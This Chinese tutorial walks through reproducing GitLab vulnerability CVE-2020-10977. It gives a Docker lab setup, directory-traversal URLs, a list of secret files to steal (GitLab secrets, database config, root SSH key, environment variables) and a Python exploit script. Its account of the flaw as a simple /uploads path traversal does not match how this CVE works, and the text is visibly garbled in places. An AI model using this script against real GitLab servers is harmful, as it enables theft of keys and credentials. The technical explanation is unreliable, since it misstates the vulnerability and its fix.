您好,登录后才能下订单哦!
# GitLab任意文件读取漏洞CVE-2020-10977如何进行复现
## 漏洞概述
CVE-2020-10977是GitLab社区版(CE)和企业版(EE)中的一个高危任意文件读取漏洞,影响版本范围为**11.3及以上至12.9.1以下**。攻击者通过构造特殊请求,可绕过权限验证读取服务器上的任意文件,包括敏感配置文件、密钥等。
## 漏洞原理
该漏洞源于GitLab对用户提供的`filename`参数验证不严,当用户通过`/uploads`路由访问上传文件时,系统未正确校验路径穿越符号(`../`),导致目录遍历攻击:
https://gitlab.example.com/uploads/group/project/../../../../etc/passwd
## 环境准备
### 受影响版本
- GitLab CE/EE 11.3 - 12.9.0
### 测试环境搭建
推荐使用Docker快速搭建漏洞环境:
```bash
# 拉取存在漏洞的GitLab版本
docker pull gitlab/gitlab-ce:12.8.1-ce.0
# 运行容器(注意配置端口和数据卷)
docker run -d \
--hostname gitlab.example.com \
-p 443:443 -p 80:80 -p 2222:22 \
--name gitlab \
--restart always \
-v /srv/gitlab/config:/etc/gitlab \
-v /srv/gitlab/logs:/var/log/gitlab \
-v /srv/gitlab/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0
访问/help
页面确认版本号:
http://目标IP/help
test-project
)test.txt
)通过Burp Suite或浏览器直接访问以下URL(需替换实际参数):
http://目标IP/uploads/[group]/[project]/../../../../../../etc/passwd
参数说明:
- [group]
: 项目所属组名
- [project]
: 项目名称
示例(假设组名为mygroup
,项目名为test-project
):
http://192.168.1.100/uploads/mygroup/test-project/../../../../../../etc/passwd
成功响应将显示/etc/passwd
文件内容:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
可尝试读取的其他敏感文件:
文件路径 | 说明 |
---|---|
/etc/gitlab/gitlab-secrets.json |
包含加密密钥 |
/var/opt/gitlab/gitlab-rails/etc/database.yml |
数据库配置 |
/root/.ssh/id_rsa |
服务器SSH私钥 |
/proc/self/environ |
环境变量信息 |
使用Python快速验证漏洞:
import requests
import urllib.parse
TARGET = "http://gitlab.example.com"
GROUP = "mygroup"
PROJECT = "test-project"
FILE_TO_READ = "/etc/passwd"
def exploit():
path = f"/uploads/{GROUP}/{PROJECT}/../../../../../../{FILE_TO_READ}"
url = urllib.parse.urljoin(TARGET, path)
response = requests.get(url)
if response.status_code == 200:
print(f"[+] 成功读取 {FILE_TO_READ}:")
print(response.text)
else:
print(f"[-] 读取失败 (HTTP {response.status_code})")
if __name__ == "__main__":
exploit()
../
的请求GitLab通过以下修改修复漏洞:
1. 在app/controllers/uploads_controller.rb
中添加路径规范化检查
2. 使用Gitlab::PathTraversal.check_path_traversal!
方法验证路径
关键修复代码片段:
def validate_upload_path!
Gitlab::PathTraversal.check_path_traversal!(file.path)
end
”`
注:实际复现时请确保在授权环境下进行,文中的IP、域名等需替换为实际测试目标。建议使用虚拟机或隔离网络环境进行实验。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。